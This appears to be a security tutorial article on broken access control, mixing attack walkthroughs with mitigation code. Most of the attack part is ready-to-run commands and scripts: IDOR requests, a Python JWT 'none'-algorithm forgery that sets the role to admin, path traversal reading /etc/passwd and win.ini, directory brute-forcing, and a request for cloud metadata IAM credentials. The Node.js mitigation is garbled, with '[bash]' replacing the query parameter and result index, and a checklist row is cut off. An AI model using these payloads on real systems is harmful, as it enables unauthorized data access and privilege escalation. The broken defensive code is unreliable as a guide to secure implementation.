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Introduction:
Broken Access Control (BAC) remains the most critical web application security risk according to OWASP Top 10, yet it is consistently misunderstood and under-tested. Attackers exploit these flaws to bypass authorization mechanisms, access unauthorized data, and escalate privileges—often with minimal technical effort. This article dissects real-world exploitation techniques for BAC, including IDOR, forced browsing, and privilege escalation, and provides actionable commands and code to both attack and defend against them.
Learning Objectives:
- Identify and exploit Insecure Direct Object References (IDOR) and horizontal/vertical privilege escalation vulnerabilities.
- Execute forced browsing and directory traversal attacks using Linux and Windows tooling.
- Implement robust access control mitigations including policy-based checks, session hardening, and API gateway rules.
You Should Know:
- Understanding Broken Access Control: Core Concepts and Attack Surface
Broken access control occurs when an application fails to enforce restrictions on what authenticated or unauthenticated users are allowed to do. Common patterns include: viewing another user’s order ID, editing a profile that isn’t yours, or accessing admin endpoints via direct URL guesswork.
Step‑by‑step guide to understand the flaw:
- Identify resources with predictable identifiers (e.g.,
/user/123,?invoice=INV-001). - Log in as a low-privileged user and capture a legitimate request.
- Modify the identifier to a different value (increment, decrement, or use another user’s known ID).
- Observe if the application returns data belonging to another user without re‑authorizing.
This simple test often reveals IDOR. For APIs, check parameters like user_id, account_no, or JWT claims.
2. Exploiting IDOR with cURL and Burp Suite
IDOR is the most common BAC variant. Attackers change a single parameter to access forbidden resources.
Linux / macOS commands (using cURL):
Fetch a legitimate user's invoice curl -X GET "https://target.com/api/invoice/1001" -H "Cookie: session=abc123" Try IDOR to fetch invoice 1002 (belongs to another user) curl -X GET "https://target.com/api/invoice/1002" -H "Cookie: session=abc123" Use jq to filter sensitive fields curl -s "https://target.com/api/user?uid=456" -H "Authorization: Bearer eyJ..." | jq '.ssn, .credit_card'
Windows PowerShell equivalent:
Invoke-RestMethod -Uri "https://target.com/api/invoice/1002" -Headers @{Cookie="session=abc123"} | ConvertTo-Json
Step‑by‑step Burp Suite methodology:
- Intercept a request containing an object reference (e.g.,
GET /profile?userid=200). - Send to Repeater (Ctrl+R).
- Change `userid=201` and send. If you receive a different profile, you have IDOR.
- Test for mass assignment: add `?role=admin` or `?is_admin=true` to the request body/parameters.
- Horizontal & Vertical Privilege Escalation via Token Tampering
Horizontal escalation accesses same-level peers (e.g., User A reads User B’s messages). Vertical escalation grants higher privileges (e.g., standard user performs admin actions).
Step‑by‑step JWT tampering (Linux with `jwt_tool` or Python):
Install jwt_tool git clone https://github.com/ticarpi/jwt_tool cd jwt_tool python3 jwt_tool.py <JWT_TOKEN> -T Try changing 'role': 'user' to 'role': 'admin' and send modified token curl -X GET "https://target.com/admin/panel" -H "Authorization: Bearer <modified_jwt>"
Python script for JWT none algorithm attack:
import jwt
import base64
Original token from request
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ1c2VyIn0.signature"
Decode without verification
headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
payload['role'] = 'admin'
Craft new token with 'none' algorithm
fake_token = jwt.encode(payload, key=None, algorithm='none')
print(fake_token)
Windows alternative: Use `curl` with modified `Authorization` header after manual base64 editing in tools like CyberChef.
4. Forced Browsing and Directory Traversal
Forced browsing finds hidden endpoints (e.g., /admin, /backup, /api/v2/internal). Directory traversal reads arbitrary files (e.g., /etc/passwd).
Linux commands:
Use ffuf for directory brute-forcing ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.sql Directory traversal to read system files curl -s "https://target.com/download?file=../../../../etc/passwd" curl -s "https://target.com/static/..%252f..%252f..%252fetc/passwd" Gobuster for hidden admin paths gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.aspx,.js
Windows PowerShell (directory traversal):
$path = "../../../../Windows/win.ini" Invoke-RestMethod -Uri "https://target.com/load?file=$([System.Web.HttpUtility]::UrlEncode($path))"
Step‑by‑step: Intercept file download requests; insert `../` sequences; use URL encoding (%2e%2e%2f) to bypass simple filters; look for error messages revealing absolute paths.
5. Cloud and API Access Control Hardening
Cloud services (AWS, Azure, GCP) often expose APIs with misconfigured IAM policies. Serverless functions may lack proper authorizer checks.
Example of a vulnerable AWS API Gateway policy (allow overly broad access):
{
"Effect": "Allow",
"Action": "dynamodb:GetItem",
"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Users/"
}
If the `user_id` is taken from the request without validation, an attacker can fetch any record.
Mitigation with IAM and resource‑based policies:
{
"Effect": "Allow",
"Action": "dynamodb:GetItem",
"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Users/${aws:userid}"
}
Step‑by‑step API testing (Postman + AWS CLI):
- Capture API request with Postman.
- Modify `user_id` or `resourceId` in JSON body.
- If the API returns data for a different tenant, report as BAC.
- For cloud metadata attacks: `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` (only from EC2).
6. Mitigation Strategies: Code and Configuration Fixes
Implement proper access control at every layer—never trust client‑side parameters.
Node.js/Express middleware example:
function checkOwnership(req, res, next) {
const resourceId = req.params.id;
const userId = req.session.userId;
// Query database for resource owner
db.query('SELECT user_id FROM documents WHERE id = ?', [bash], (err, result) => {
if (err || result[bash].user_id !== userId) {
return res.status(403).json({error: "Forbidden"});
}
next();
});
}
app.get('/api/document/:id', checkOwnership, (req, res) => { ... });
Django decorator for class‑based views:
from django.core.exceptions import PermissionDenied def user_owns_object(model, field='user'): def decorator(view_func): def wrapper(request, args, kwargs): obj = model.objects.get(pk=kwargs['pk']) if getattr(obj, field) != request.user: raise PermissionDenied return view_func(request, args, kwargs) return wrapper return decorator
Additional hardening:
- Use random, non‑guessable identifiers (UUIDs instead of sequential integers).
- Implement deny‑by‑default access control lists.
- Log all authorization failures and alert on anomalies.
- Regularly test with
ffuf, `ZAP` or automated scanners.
7. Testing Tools and Commands Checklist
Tool / Command | Purpose
|
`curl -X
`ffuf -u https://target.com/FUZZ -w wordlist.txt` | Forced browsing / endpoint discovery
`Burp Suite Autorize` | Automatic privilege escalation checks
`zap-cli quick-scan -s all https://target.com` | OWASP ZAP automated BAC scan
`nuclei -t exposures/configs/ -u https://target.com` | Detect common BAC misconfigurations
`gau –subs target.com | gf idor` | Gather URLs and filter for potential IDOR params
Step‑by‑step for automation: Use `gau` to fetch all endpoints, `gf` to pattern‑match parameters like ?id=, ?uid=, ?file=, then run a custom script to increment those values and compare responses.
What Undercode Say:
- Broken access control is not a complex exploit—it often boils down to missing a single `if` statement. Attackers don’t need advanced skills; just a proxy and curiosity.
- Modern APIs and cloud services have expanded the attack surface dramatically. JWT none‑algorithm attacks, mass assignment, and metadata endpoint abuse are now standard parts of a pentester’s toolkit.
Analysis: The persistence of BAC flaws stems from developers assuming that “users will only see what we show them.” This is a dangerous fallacy. Every request must be re‑authorized on the server. With the rise of AI‑generated boilerplate code, BAC vulnerabilities are being inadvertently copied into thousands of applications. Red teams should prioritize IDOR and forced browsing because they yield high‑impact findings (data breaches, account takeover) with low effort. Meanwhile, defenders must move beyond basic authentication and adopt attribute‑based access control (ABAC) and real‑time policy decision points. The cost of fixing BAC is minimal compared to the regulatory fines and reputation loss from a breach.
Prediction:
As AI‑driven development accelerates, we will see a surge of applications with subtle access control flaws introduced by code‑generation models that lack security context. Attackers will automate BAC discovery using LLMs to mutate parameters and interpret responses, making exploitation scalable. In response, zero‑trust architectures and dynamic authorization (e.g., Open Policy Agent) will become mandatory. The future of BAC defense lies not in firewalls but in continuous, context‑aware permission evaluation at every API call.
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Extra Hub: Undercode MoN
Basic Verification: Pass ✅
